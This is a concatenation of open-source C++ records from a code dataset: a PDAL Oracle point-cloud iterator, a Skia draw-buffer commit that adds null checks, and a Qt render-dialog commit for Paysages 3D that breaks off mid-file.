<pdal\/drivers\/oci\/Iterator.hpp>\n\n#include <pdal\/PointBuffer.hpp>\n#include <pdal\/drivers\/oci\/Reader.hpp>\n#include <pdal\/Vector.hpp>\n\n#include <boost\/algorithm\/string.hpp>\n\n\n#include <sstream>\n#include <map>\n#include <algorithm>\n\n\nnamespace pdal { namespace drivers { namespace oci {\n\nIteratorBase::IteratorBase(const Reader& reader)\n : m_statement(Statement())\n , m_at_end(false)\n , m_cloud(reader.getCloud())\n , m_reader(reader)\n\n{\n \n std::ostringstream select_blocks;\n \n select_blocks\n << \"select T.OBJ_ID, T.BLK_ID, T.BLK_EXTENT, T.NUM_POINTS, T.POINTS from \" \n << m_cloud->blk_table << \" T WHERE T.OBJ_ID = \" \n << m_cloud->pc_id;\n\n\n m_statement = Statement(m_cloud->connection->CreateStatement(select_blocks.str().c_str()));\n\n m_statement->Execute(0);\n m_block = defineBlock(m_statement);\n \n return;\n}\n\n\nIteratorBase::~IteratorBase()\n{\n}\n\n\n\nconst Reader& IteratorBase::getReader() const\n{\n return m_reader;\n}\n\nvoid IteratorBase::read(PointBuffer& data, \n boost::uint32_t howMany, \n boost::uint32_t whichPoint, \n boost::uint32_t whichBlobPosition)\n{\n boost::uint32_t nAmountRead = 0;\n boost::uint32_t blob_length = m_statement->GetBlobLength(m_block->locator);\n\n if (m_block->chunk->size() < blob_length)\n {\n m_block->chunk->resize(blob_length);\n }\n \n \/\/ std::cout << \"blob_length: \" << blob_len\/\/ gth << std::endl;\n\n bool read_all_data = m_statement->ReadBlob( m_block->locator,\n (void*)(&(*m_block->chunk)[0]),\n m_block->chunk->size() , \n &nAmountRead);\n if (!read_all_data) throw pdal_error(\"Did not read all blob data!\");\n\n \/\/ std::cout << \"nAmountRead: \" << nAmountRead << std::endl;\n \n data.getSchema().getByteSize();\n boost::uint32_t howMuchToRead = howMany * data.getSchema().getByteSize();\n data.setDataStride(&(*m_block->chunk)[whichBlobPosition], whichPoint, howMuchToRead);\n\n data.setNumPoints(data.getNumPoints() + howMany);\n\n}\n\nboost::uint32_t IteratorBase::myReadBuffer(PointBuffer& data)\n{\n boost::uint32_t numPointsRead = 0;\n\n data.setNumPoints(0);\n \n bool bDidRead = false;\n\n\n \/\/ std::cout << \"m_block->num_points: \" << m_block->num_points << std::endl;\n \/\/ std::cout << \"data.getCapacity(): \" << data.getCapacity() << std::endl;\n if (!m_block->num_points) \n {\n \/\/ We still have a block of data from the last readBuffer call\n \/\/ that was partially read. \n \/\/ std::cout << \"reading because we have no points\" << std::endl;\n bDidRead = m_statement->Fetch(); \n if (!bDidRead)\n {\n m_at_end = true;\n return 0;\n }\n \n if (m_block->num_points > static_cast<boost::int32_t>(data.getCapacity()))\n {\n throw buffer_too_small(\"The PointBuffer is too small to contain this block.\");\n }\n \n } else \n {\n \/\/ Our read was already \"done\" last readBuffer call, but if we're done,\n \/\/ we're done\n if (m_at_end) return 0;\n bDidRead = true;\n\n }\n \n while (bDidRead)\n {\n boost::uint32_t numReadThisBlock = m_block->num_points;\n boost::uint32_t numSpaceLeftThisBlock = data.getCapacity() - data.getNumPoints();\n \n if (numReadThisBlock > numSpaceLeftThisBlock)\n {\n \/\/ We're done. We still have more data, but the \n \/\/ user is going to have to request another buffer.\n \/\/ We're not going to fill the buffer up to *exactly* \n \/\/ the number of points the user requested. \n \/\/ If the buffer's capacity isn't large enough to hold \n \/\/ an oracle block, they're just not going to get anything \n \/\/ back right now (FIXME)\n break;\n }\n\n numPointsRead = numPointsRead + numReadThisBlock;\n \n read(data, numReadThisBlock, data.getNumPoints(), 0);\n\n bDidRead = m_statement->Fetch();\n\n if (!bDidRead)\n {\n m_at_end = true;\n return numPointsRead;\n }\n }\n\n \n pdal::Vector<double> mins;\n pdal::Vector<double> maxs;\n \n boost::int32_t bounds_length = m_statement->GetArrayLength(&(m_block->blk_extent->sdo_ordinates));\n \n for (boost::int32_t i = 0; i < bounds_length; i = i + 2)\n {\n double v;\n m_statement->GetElement(&(m_block->blk_extent->sdo_ordinates), i, &v);\n mins.add(v);\n m_statement->GetElement(&(m_block->blk_extent->sdo_ordinates), i+1, &v);\n maxs.add(v);\n }\n \n pdal::Bounds<double> block_bounds(mins, maxs);\n \n data.setSpatialBounds(block_bounds);\n\n return numPointsRead;\n}\n\n\n\n\n\n\/\/---------------------------------------------------------------------------\n\/\/\n\/\/ SequentialIterator\n\/\/\n\/\/---------------------------------------------------------------------------\n\nSequentialIterator::SequentialIterator(const Reader& reader)\n : IteratorBase(reader)\n , pdal::StageSequentialIterator(reader)\n{\n return;\n}\n\n\nSequentialIterator::~SequentialIterator()\n{\n return;\n}\n\n\nboost::uint64_t SequentialIterator::skipImpl(boost::uint64_t count)\n{\n \/\/ const boost::uint64_t newPos64 = getIndex() + count;\n \/\/ \n \/\/ \/\/ The liblas reader's seek() call only supports size_t, so we might\n \/\/ \/\/ not be able to satisfy this request...\n \/\/ \n \/\/ if (newPos64 > std::numeric_limits<size_t>::max())\n \/\/ {\n \/\/ throw pdal_error(\"cannot support seek offsets greater than 32-bits\");\n \/\/ }\n \/\/ \n \/\/ \/\/ safe cast, since we just handled the overflow case\n \/\/ size_t newPos = static_cast<size_t>(newPos64);\n \/\/ \n \/\/ getExternalReader().Seek(newPos);\n\n return 0;\n}\n\n\nBlockPtr IteratorBase::defineBlock(Statement statement)\n{\n\n int iCol = 0;\n char szFieldName[OWNAME];\n int hType = 0;\n int nSize = 0;\n int nPrecision = 0;\n signed short nScale = 0;\n char szTypeName[OWNAME];\n \n BlockPtr block = BlockPtr(new Block(m_cloud->connection));\n\n m_cloud->connection->CreateType(&(block->blk_extent)); \n\n while( statement->GetNextField(iCol, szFieldName, &hType, &nSize, &nPrecision, &nScale, szTypeName) )\n {\n std::string name = boost::to_upper_copy(std::string(szFieldName));\n\n if (boost::iequals(szFieldName, \"OBJ_ID\"))\n {\n statement->Define(&(block->obj_id));\n }\n\n if (boost::iequals(szFieldName, \"BLK_ID\"))\n {\n statement->Define(&(block->blk_id));\n }\n\n if (boost::iequals(szFieldName, \"BLK_EXTENT\"))\n {\n statement->Define(&(block->blk_extent));\n }\n\n if (boost::iequals(szFieldName, \"BLK_DOMAIN\"))\n {\n statement->Define(&(block->blk_domain));\n }\n \n if (boost::iequals(szFieldName, \"PCBLK_MIN_RES\"))\n {\n statement->Define(&(block->pcblk_min_res));\n }\n\n if (boost::iequals(szFieldName, \"PCBLK_MAX_RES\"))\n {\n statement->Define(&(block->pcblk_max_res));\n }\n\n if (boost::iequals(szFieldName, \"NUM_POINTS\"))\n {\n statement->Define(&(block->num_points));\n }\n\n if (boost::iequals(szFieldName, \"NUM_UNSORTED_POINTS\"))\n {\n statement->Define(&(block->num_unsorted_points));\n }\n\n if (boost::iequals(szFieldName, \"PT_SORT_DIM\"))\n {\n statement->Define(&(block->pt_sort_dim));\n }\n\n if (boost::iequals(szFieldName, \"POINTS\"))\n {\n statement->Define( &(block->locator) ); \n }\n iCol++;\n }\n \n return block;\n}\n\n\nbool SequentialIterator::atEndImpl() const\n{\n return m_at_end;\n}\n\n\nboost::uint32_t SequentialIterator::readBufferImpl(PointBuffer& data)\n{\n return myReadBuffer(data);\n}\n\n\n\/\/---------------------------------------------------------------------------\n\/\/\n\/\/ RandomIterator\n\/\/\n\/\/---------------------------------------------------------------------------\n\n\n} } } \/\/ namespaces\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrInOrderDrawBuffer.h\"\n\n\/\/ We will use the reordering buffer, unless we have NVPR.\n\/\/ TODO move NVPR to batch so we can reorder\nstatic inline bool allow_reordering(const GrCaps* caps) {\n return !caps->shaderCaps()->pathRenderingSupport();\n}\n\nGrInOrderDrawBuffer::GrInOrderDrawBuffer(GrContext* context)\n : INHERITED(context)\n , fCommands(GrCommandBuilder::Create(context->getGpu(), allow_reordering(context->caps())))\n , fPathIndexBuffer(kPathIdxBufferMinReserve * sizeof(char)\/4)\n , fPathTransformBuffer(kPathXformBufferMinReserve * sizeof(float)\/4)\n , fPipelineBuffer(kPipelineBufferMinReserve)\n , fDrawID(0) {\n}\n\nGrInOrderDrawBuffer::~GrInOrderDrawBuffer() {\n this->reset();\n}\n\nvoid GrInOrderDrawBuffer::onDrawBatch(GrBatch* batch,\n const PipelineInfo& pipelineInfo) {\n State* state = this->setupPipelineAndShouldDraw(batch, pipelineInfo);\n if (!state) {\n return;\n }\n\n GrTargetCommands::Cmd* cmd = fCommands->recordDrawBatch(state, batch);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onStencilPath(const GrPipelineBuilder& pipelineBuilder,\n const GrPathProcessor* pathProc,\n const GrPath* path,\n const GrScissorState& scissorState,\n const GrStencilSettings& stencilSettings) {\n GrTargetCommands::Cmd* cmd = fCommands->recordStencilPath(pipelineBuilder,\n pathProc, path, scissorState,\n stencilSettings);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onDrawPath(const GrPathProcessor* pathProc,\n const GrPath* path,\n const GrStencilSettings& stencilSettings,\n const PipelineInfo& pipelineInfo) {\n State* state = this->setupPipelineAndShouldDraw(pathProc, pipelineInfo);\n if (!state) {\n return;\n }\n GrTargetCommands::Cmd* cmd = fCommands->recordDrawPath(state, pathProc, path, stencilSettings);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onDrawPaths(const GrPathProcessor* pathProc,\n const GrPathRange* pathRange,\n const void* indices,\n PathIndexType indexType,\n const float transformValues[],\n PathTransformType transformType,\n int count,\n const GrStencilSettings& stencilSettings,\n const PipelineInfo& pipelineInfo) {\n State* state = this->setupPipelineAndShouldDraw(pathProc, pipelineInfo);\n if (!state) {\n return;\n }\n GrTargetCommands::Cmd* cmd = fCommands->recordDrawPaths(state, this, pathProc, pathRange,\n indices, indexType, transformValues,\n transformType, count,\n stencilSettings, pipelineInfo);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onClear(const SkIRect* rect, GrColor color,\n bool canIgnoreRect, GrRenderTarget* renderTarget) {\n GrTargetCommands::Cmd* cmd = fCommands->recordClear(rect, color, canIgnoreRect, renderTarget);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::clearStencilClip(const SkIRect& rect,\n bool insideClip,\n GrRenderTarget* renderTarget) {\n GrTargetCommands::Cmd* cmd = fCommands->recordClearStencilClip(rect, insideClip, renderTarget);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::discard(GrRenderTarget* renderTarget) {\n if (!this->caps()->discardRenderTargetSupport()) {\n return;\n }\n\n GrTargetCommands::Cmd* cmd = fCommands->recordDiscard(renderTarget);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onReset() {\n fCommands->reset();\n fPathIndexBuffer.rewind();\n fPathTransformBuffer.rewind();\n fGpuCmdMarkers.reset();\n\n fPrevState.reset(NULL);\n \/\/ Note, fPrevState points into fPipelineBuffer's allocation, so we have to reset first.\n \/\/ Furthermore, we have to reset fCommands before fPipelineBuffer too.\n if (fDrawID % kPipelineBufferHighWaterMark) {\n fPipelineBuffer.rewind();\n } else {\n fPipelineBuffer.reset();\n }\n}\n\nvoid GrInOrderDrawBuffer::onFlush() {\n fCommands->flush(this);\n ++fDrawID;\n}\n\nvoid GrInOrderDrawBuffer::onCopySurface(GrSurface* dst,\n GrSurface* src,\n const SkIRect& srcRect,\n const SkIPoint& dstPoint) {\n GrTargetCommands::Cmd* cmd = fCommands->recordCopySurface(dst, src, srcRect, dstPoint);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::recordTraceMarkersIfNecessary(GrTargetCommands::Cmd* cmd) {\n if (!cmd) {\n return;\n }\n const GrTraceMarkerSet& activeTraceMarkers = this->getActiveTraceMarkers();\n if (activeTraceMarkers.count() > 0) {\n if (cmd->isTraced()) {\n fGpuCmdMarkers[cmd->markerID()].addSet(activeTraceMarkers);\n } else {\n cmd->setMarkerID(fGpuCmdMarkers.count());\n fGpuCmdMarkers.push_back(activeTraceMarkers);\n }\n }\n}\n\nGrTargetCommands::State*\nGrInOrderDrawBuffer::setupPipelineAndShouldDraw(const GrPrimitiveProcessor* primProc,\n const GrDrawTarget::PipelineInfo& pipelineInfo) {\n State* state = this->allocState(primProc);\n this->setupPipeline(pipelineInfo, state->pipelineLocation());\n\n if (state->getPipeline()->mustSkip()) {\n this->unallocState(state);\n return NULL;\n }\n\n state->fPrimitiveProcessor->initBatchTracker(&state->fBatchTracker,\n state->getPipeline()->getInitBatchTracker());\n\n if (fPrevState && fPrevState->fPrimitiveProcessor.get() &&\n fPrevState->fPrimitiveProcessor->canMakeEqual(fPrevState->fBatchTracker,\n *state->fPrimitiveProcessor,\n state->fBatchTracker) &&\n fPrevState->getPipeline()->isEqual(*state->getPipeline())) {\n this->unallocState(state);\n } else {\n fPrevState.reset(state);\n }\n\n this->recordTraceMarkersIfNecessary(\n fCommands->recordXferBarrierIfNecessary(*fPrevState->getPipeline(), *this->caps()));\n return fPrevState;\n}\n\nGrTargetCommands::State*\nGrInOrderDrawBuffer::setupPipelineAndShouldDraw(GrBatch* batch,\n const GrDrawTarget::PipelineInfo& pipelineInfo) {\n State* state = this->allocState();\n this->setupPipeline(pipelineInfo, state->pipelineLocation());\n\n if (state->getPipeline()->mustSkip()) {\n this->unallocState(state);\n return NULL;\n }\n\n batch->initBatchTracker(state->getPipeline()->getInitBatchTracker());\n\n if (fPrevState && !fPrevState->fPrimitiveProcessor.get() &&\n fPrevState->getPipeline()->isEqual(*state->getPipeline())) {\n this->unallocState(state);\n } else {\n fPrevState.reset(state);\n }\n\n this->recordTraceMarkersIfNecessary(\n fCommands->recordXferBarrierIfNecessary(*fPrevState->getPipeline(), *this->caps()));\n return fPrevState;\n}\n<commit_msg>fix dm crash<commit_after>\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrInOrderDrawBuffer.h\"\n\n\/\/ We will use the reordering buffer, unless we have NVPR.\n\/\/ TODO move NVPR to batch so we can reorder\nstatic inline bool allow_reordering(const GrCaps* caps) {\n return caps && caps->shaderCaps() && !caps->shaderCaps()->pathRenderingSupport();\n}\n\nGrInOrderDrawBuffer::GrInOrderDrawBuffer(GrContext* context)\n : INHERITED(context)\n , fCommands(GrCommandBuilder::Create(context->getGpu(), allow_reordering(context->caps())))\n , fPathIndexBuffer(kPathIdxBufferMinReserve * sizeof(char)\/4)\n , fPathTransformBuffer(kPathXformBufferMinReserve * sizeof(float)\/4)\n , fPipelineBuffer(kPipelineBufferMinReserve)\n , fDrawID(0) {\n}\n\nGrInOrderDrawBuffer::~GrInOrderDrawBuffer() {\n this->reset();\n}\n\nvoid GrInOrderDrawBuffer::onDrawBatch(GrBatch* batch,\n const PipelineInfo& pipelineInfo) {\n State* state = this->setupPipelineAndShouldDraw(batch, pipelineInfo);\n if (!state) {\n return;\n }\n\n GrTargetCommands::Cmd* cmd = fCommands->recordDrawBatch(state, batch);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onStencilPath(const GrPipelineBuilder& pipelineBuilder,\n const GrPathProcessor* pathProc,\n const GrPath* path,\n const GrScissorState& scissorState,\n const GrStencilSettings& stencilSettings) {\n GrTargetCommands::Cmd* cmd = fCommands->recordStencilPath(pipelineBuilder,\n pathProc, path, scissorState,\n stencilSettings);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onDrawPath(const GrPathProcessor* pathProc,\n const GrPath* path,\n const GrStencilSettings& stencilSettings,\n const PipelineInfo& pipelineInfo) {\n State* state = this->setupPipelineAndShouldDraw(pathProc, pipelineInfo);\n if (!state) {\n return;\n }\n GrTargetCommands::Cmd* cmd = fCommands->recordDrawPath(state, pathProc, path, stencilSettings);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onDrawPaths(const GrPathProcessor* pathProc,\n const GrPathRange* pathRange,\n const void* indices,\n PathIndexType indexType,\n const float transformValues[],\n PathTransformType transformType,\n int count,\n const GrStencilSettings& stencilSettings,\n const PipelineInfo& pipelineInfo) {\n State* state = this->setupPipelineAndShouldDraw(pathProc, pipelineInfo);\n if (!state) {\n return;\n }\n GrTargetCommands::Cmd* cmd = fCommands->recordDrawPaths(state, this, pathProc, pathRange,\n indices, indexType, transformValues,\n transformType, count,\n stencilSettings, pipelineInfo);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onClear(const SkIRect* rect, GrColor color,\n bool canIgnoreRect, GrRenderTarget* renderTarget) {\n GrTargetCommands::Cmd* cmd = fCommands->recordClear(rect, color, canIgnoreRect, renderTarget);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::clearStencilClip(const SkIRect& rect,\n bool insideClip,\n GrRenderTarget* renderTarget) {\n GrTargetCommands::Cmd* cmd = fCommands->recordClearStencilClip(rect, insideClip, renderTarget);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::discard(GrRenderTarget* renderTarget) {\n if (!this->caps()->discardRenderTargetSupport()) {\n return;\n }\n\n GrTargetCommands::Cmd* cmd = fCommands->recordDiscard(renderTarget);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::onReset() {\n fCommands->reset();\n fPathIndexBuffer.rewind();\n fPathTransformBuffer.rewind();\n fGpuCmdMarkers.reset();\n\n fPrevState.reset(NULL);\n \/\/ Note, fPrevState points into fPipelineBuffer's allocation, so we have to reset first.\n \/\/ Furthermore, we have to reset fCommands before fPipelineBuffer too.\n if (fDrawID % kPipelineBufferHighWaterMark) {\n fPipelineBuffer.rewind();\n } else {\n fPipelineBuffer.reset();\n }\n}\n\nvoid GrInOrderDrawBuffer::onFlush() {\n fCommands->flush(this);\n ++fDrawID;\n}\n\nvoid GrInOrderDrawBuffer::onCopySurface(GrSurface* dst,\n GrSurface* src,\n const SkIRect& srcRect,\n const SkIPoint& dstPoint) {\n GrTargetCommands::Cmd* cmd = fCommands->recordCopySurface(dst, src, srcRect, dstPoint);\n this->recordTraceMarkersIfNecessary(cmd);\n}\n\nvoid GrInOrderDrawBuffer::recordTraceMarkersIfNecessary(GrTargetCommands::Cmd* cmd) {\n if (!cmd) {\n return;\n }\n const GrTraceMarkerSet& activeTraceMarkers = this->getActiveTraceMarkers();\n if (activeTraceMarkers.count() > 0) {\n if (cmd->isTraced()) {\n fGpuCmdMarkers[cmd->markerID()].addSet(activeTraceMarkers);\n } else {\n cmd->setMarkerID(fGpuCmdMarkers.count());\n fGpuCmdMarkers.push_back(activeTraceMarkers);\n }\n }\n}\n\nGrTargetCommands::State*\nGrInOrderDrawBuffer::setupPipelineAndShouldDraw(const GrPrimitiveProcessor* primProc,\n const GrDrawTarget::PipelineInfo& pipelineInfo) {\n State* state = this->allocState(primProc);\n this->setupPipeline(pipelineInfo, state->pipelineLocation());\n\n if (state->getPipeline()->mustSkip()) {\n this->unallocState(state);\n return NULL;\n }\n\n state->fPrimitiveProcessor->initBatchTracker(&state->fBatchTracker,\n state->getPipeline()->getInitBatchTracker());\n\n if (fPrevState && fPrevState->fPrimitiveProcessor.get() &&\n fPrevState->fPrimitiveProcessor->canMakeEqual(fPrevState->fBatchTracker,\n *state->fPrimitiveProcessor,\n state->fBatchTracker) &&\n fPrevState->getPipeline()->isEqual(*state->getPipeline())) {\n this->unallocState(state);\n } else {\n fPrevState.reset(state);\n }\n\n this->recordTraceMarkersIfNecessary(\n fCommands->recordXferBarrierIfNecessary(*fPrevState->getPipeline(), *this->caps()));\n return fPrevState;\n}\n\nGrTargetCommands::State*\nGrInOrderDrawBuffer::setupPipelineAndShouldDraw(GrBatch* batch,\n const GrDrawTarget::PipelineInfo& pipelineInfo) {\n State* state = this->allocState();\n this->setupPipeline(pipelineInfo, state->pipelineLocation());\n\n if (state->getPipeline()->mustSkip()) {\n this->unallocState(state);\n return NULL;\n }\n\n batch->initBatchTracker(state->getPipeline()->getInitBatchTracker());\n\n if (fPrevState && !fPrevState->fPrimitiveProcessor.get() &&\n fPrevState->getPipeline()->isEqual(*state->getPipeline())) {\n this->unallocState(state);\n } else {\n fPrevState.reset(state);\n }\n\n this->recordTraceMarkersIfNecessary(\n fCommands->recordXferBarrierIfNecessary(*fPrevState->getPipeline(), *this->caps()));\n return fPrevState;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"dialogrender.h\"\n\n#include <math.h>\n#include <QVBoxLayout>\n#include <QImage>\n#include <QColor>\n#include <QPainter>\n#include <QMessageBox>\n#include <QFileDialog>\n#include <QMessageBox>\n#include <QListWidget>\n#include <QPushButton>\n#include \"tools.h\"\n\n#include \"rendering\/scenery.h\"\n#include \"rendering\/auto.h\"\n\nstatic DialogRender* _current_dialog;\n\nstatic void _renderStart(int width, int height, Color background)\n{\n _current_dialog->pixbuf_lock->lock();\n delete _current_dialog->pixbuf;\n _current_dialog->pixbuf = new QImage(width, height, QImage::Format_ARGB32);\n _current_dialog->pixbuf->fill(colorToQColor(background).rgb());\n _current_dialog->pixbuf_lock->unlock();\n\n _current_dialog->tellRenderSize(width, height);\n}\n\nstatic void _renderDraw(int x, int y, Color col)\n{\n _current_dialog->pixbuf->setPixel(x, _current_dialog->pixbuf->height() - 1 - y, colorToQColor(col).rgb());\n}\n\nstatic void _renderUpdate(double progress)\n{\n _current_dialog->area->update();\n _current_dialog->tellProgressChange(progress);\n}\n\nclass RenderThread:public QThread\n{\npublic:\n RenderThread(DialogRender* dialog, Renderer* renderer, RenderParams params):QThread()\n {\n _dialog = dialog;\n _renderer = renderer;\n _params = params;\n }\n void run()\n {\n rendererStart(_renderer, _params);\n _dialog->tellRenderEnded();\n }\nprivate:\n DialogRender* _dialog;\n Renderer* _renderer;\n RenderParams _params;\n};\n\nclass RenderArea:public QWidget\n{\npublic:\n RenderArea(QWidget* parent):\n QWidget(parent)\n {\n setMinimumSize(800, 600);\n }\n\n void paintEvent(QPaintEvent*)\n {\n QPainter painter(this);\n _current_dialog->pixbuf_lock->lock();\n painter.drawImage(0, 0, *_current_dialog->pixbuf);\n _current_dialog->pixbuf_lock->unlock();\n }\n};\n\nDialogRender::DialogRender(QWidget *parent, Renderer* renderer):\n QDialog(parent, Qt::WindowTitleHint | Qt::WindowMaximizeButtonHint | Qt::WindowMinimizeButtonHint | Qt::WindowCloseButtonHint)\n{\n pixbuf_lock = new QMutex();\n pixbuf = new QImage(1, 1, QImage::Format_ARGB32);\n _current_dialog = this;\n _render_thread = NULL;\n _renderer = renderer;\n\n setModal(true);\n setWindowTitle(tr(\"Paysages 3D - Render\"));\n setLayout(new QVBoxLayout());\n\n _scroll = new QScrollArea(this);\n _scroll->setAlignment(Qt::AlignCenter);\n area = new RenderArea(_scroll);\n _scroll->setWidget(area);\n layout()->addWidget(_scroll);\n\n \/\/ Status bar\n _info = new QWidget(this);\n _info->setLayout(new QHBoxLayout());\n layout()->addWidget(_info);\n\n _timer = new QLabel(QString(\"0:00.00\"), _info);\n _info->layout()->addWidget(_timer);\n\n _progress = new QProgressBar(_info);\n _progress->setMaximumHeight(12);\n _progress->setMinimum(0);\n _progress->setMaximum(1000);\n _progress->setValue(0);\n _info->layout()->addWidget(_progress);\n\n \/\/ Action bar\n _actions = new QWidget(this);\n _actions->setLayout(new QHBoxLayout());\n layout()->addWidget(_actions);\n\n _actions->layout()->addWidget(new QLabel(tr(\"Tone-mapping: \"), _actions));\n _tonemapping_control = new QComboBox(_actions);\n _tonemapping_control->addItems(QStringList(tr(\"Uncharted\")) << tr(\"Reinhard\"));\n _actions->layout()->addWidget(_tonemapping_control);\n\n _actions->layout()->addWidget(new QLabel(tr(\"Exposure: \"), _actions));\n _actions->hide();\n _exposure_control = new QSlider(Qt::Horizontal, _actions);\n _exposure_control->setMinimumWidth(200);\n _exposure_control->setRange(0, 1000);\n _exposure_control->setValue(200);\n _actions->layout()->addWidget(_exposure_control);\n\n _save_button = new QPushButton(QIcon(getDataPath(\"images\/save.png\")), tr(\"Save picture\"), _actions);\n _actions->layout()->addWidget(_save_button);\n\n \/\/ Connections\n \/\/connect(this, SIGNAL(renderSizeChanged(int, int)), this, SLOT(applyRenderSize(int, int)));\n connect(this, SIGNAL(progressChanged(double)), this, SLOT(applyProgress(double)));\n connect(this, SIGNAL(renderEnded()), this, SLOT(applyRenderEnded()));\n connect(_save_button, SIGNAL(clicked()), this, SLOT(saveRender()));\n connect(_tonemapping_control, SIGNAL(currentIndexChanged(int)), this, SLOT(toneMappingChanged()));\n connect(_exposure_control, SIGNAL(valueChanged(int)), this, SLOT(toneMappingChanged()));\n}\n\nDialogRender::~DialogRender()\n{\n if (_render_thread)\n {\n rendererInterrupt(_renderer);\n _render_thread->wait();\n\n delete _render_thread;\n }\n delete pixbuf;\n delete pixbuf_lock;\n}\n\nvoid DialogRender::tellRenderSize(int width, int height)\n{\n emit renderSizeChanged(width, height);\n}\n\nvoid DialogRender::tellProgressChange(double value)\n{\n emit progressChanged(value);\n}\n\nvoid DialogRender::tellRenderEnded()\n{\n emit renderEnded();\n}\n\nvoid DialogRender::startRender(RenderParams params)\n{\n _started = time(NULL);\n\n applyRenderSize(params.width, params.height);\n rendererSetPreviewCallbacks(_renderer, _renderStart, _renderDraw, _renderUpdate);\n\n _render_thread = new RenderThread(this, _renderer, params);\n _render_thread->start();\n\n exec();\n}\n\nvoid DialogRender::applyRenderEnded()\n{\n _info->hide();\n _actions->show();\n}\n\nvoid DialogRender::saveRender()\n{\n QString filepath;\n\n filepath = QFileDialog::getSaveFileName(this, tr(\"Paysages 3D - Choose a filename to save the last render\"), QString(), tr(\"Images (*.png *.jpg)\"));\n if (!filepath.isNull())\n {\n if (!filepath.toLower().endsWith(\".jpg\") && !filepath.toLower().endsWith(\".jpeg\") && !filepath.toLower().endsWith(\".png\"))\n {\n filepath = filepath.append(\".png\");\n }\n if (renderSaveToFile(_renderer->render_area, (char*)filepath.toStdString().c_str()))\n {\n QMessageBox::information(this, \"Message\", QString(tr(\"The picture %1 has been saved.\")).arg(filepath));\n }\n else\n {\n QMessageBox::critical(this, \"Message\", QString(tr(\"Can't write to file : %1\")).arg(filepath));\n }\n }\n}\n\nvoid DialogRender::toneMappingChanged()\n{\n renderSetToneMapping(_renderer->render_area, (ToneMappingOperator)_tonemapping_control->currentIndex(), ((double)_exposure_control->value()) * 0.01);\n}\n\nvoid DialogRender::loadLastRender()\n{\n applyRenderSize(_renderer->render_width, _renderer->render_height);\n rendererSetPreviewCallbacks(_renderer, _renderStart, _renderDraw, _renderUpdate);\n renderEnded();\n toneMappingChanged();\n\n exec();\n}\n\nvoid DialogRender::applyRenderSize(int width, int height)\n{\n area->setMinimumSize(width, height);\n area->setMaximumSize(width, height);\n area->resize(width, height);\n _scroll->setMinimumSize(width > 800 ? 820 : width + 20, height > 600 ? 620 : height + 20);\n}\n\nvoid DialogRender::applyProgress(double value)\n{\n double diff = difftime(time(NULL), _started);\n int hours = (int)floor(diff \/ 3600.0);\n int minutes = (int)floor((diff - 3600.0 * hours) \/ 60.0);\n int seconds = (int)floor(diff - 3600.0 * hours - 60.0 * minutes);\n _timer->setText(tr(\"%1:%2.%3\").arg(hours).arg(minutes, 2, 10, QLatin1Char('0')).arg(seconds, 2, 10, QLatin1Char('0')));\n _progress->setValue((int)(value * 1000.0));\n _progress->update();\n}\n\n<commit_msg>Partially fixed black widget after render.<commit_after>#include \"dialogrender.h\"\n\n#include <math.h>\n#include <QVBoxLayout>\n#include <QImage>\n#include <QColor>\n#include <QPainter>\n#include <QMessageBox>\n#include <QFileDialog>\n#include <QMessageBox>\n#include <QListWidget>\n#include <QPushButton>\n#include \"tools.h\"\n\n#include \"rendering\/scenery.h\"\n#include \"rendering\/auto.h\"\n\nstatic DialogRender* _current_dialog;\n\nstatic void _renderStart(int width, int height, Color background)\n{\n _current_dialog->pixbuf_lock->lock();\n delete _current_dialog->pixbuf;\n _current_dialog->pixbuf = new QImage(width, height, QImage::Format_ARGB32);\n _current_dialog->pixbuf->fill(colorToQColor(background).rgb());\n _current_dialog->pixbuf_lock->unlock();\n\n _current_dialog->tellRenderSize(width, height);\n}\n\nstatic void _renderDraw(int x, int y, Color col)\n{\n _current_dialog->pixbuf->setPixel(x, _current_dialog->pixbuf->height() - 1 - y, colorToQColor(col).rgb());\n}\n\nstatic void _renderUpdate(double progress)\n{\n _current_dialog->area->update();\n _current_dialog->tellProgressChange(progress);\n}\n\nclass RenderThread:public QThread\n{\npublic:\n RenderThread(DialogRender* dialog, Renderer* renderer, RenderParams params):QThread()\n {\n _dialog = dialog;\n _renderer = renderer;\n _params = params;\n }\n void run()\n {\n rendererStart(_renderer, _params);\n _dialog->tellRenderEnded();\n }\nprivate:\n DialogRender* _dialog;\n Renderer* _renderer;\n RenderParams _params;\n};\n\nclass RenderArea:public QWidget\n{\npublic:\n RenderArea(QWidget* parent):\n QWidget(parent)\n {\n setMinimumSize(800, 600);\n }\n\n void paintEvent(QPaintEvent*)\n {\n QPainter painter(this);\n _current_dialog->pixbuf_lock->lock();\n painter.drawImage(0, 0, *_current_dialog->pixbuf);\n _current_dialog->pixbuf_lock->unlock();\n }\n};\n\nDialogRender::DialogRender(QWidget *parent, Renderer* renderer):\n QDialog(parent, Qt::WindowTitleHint | 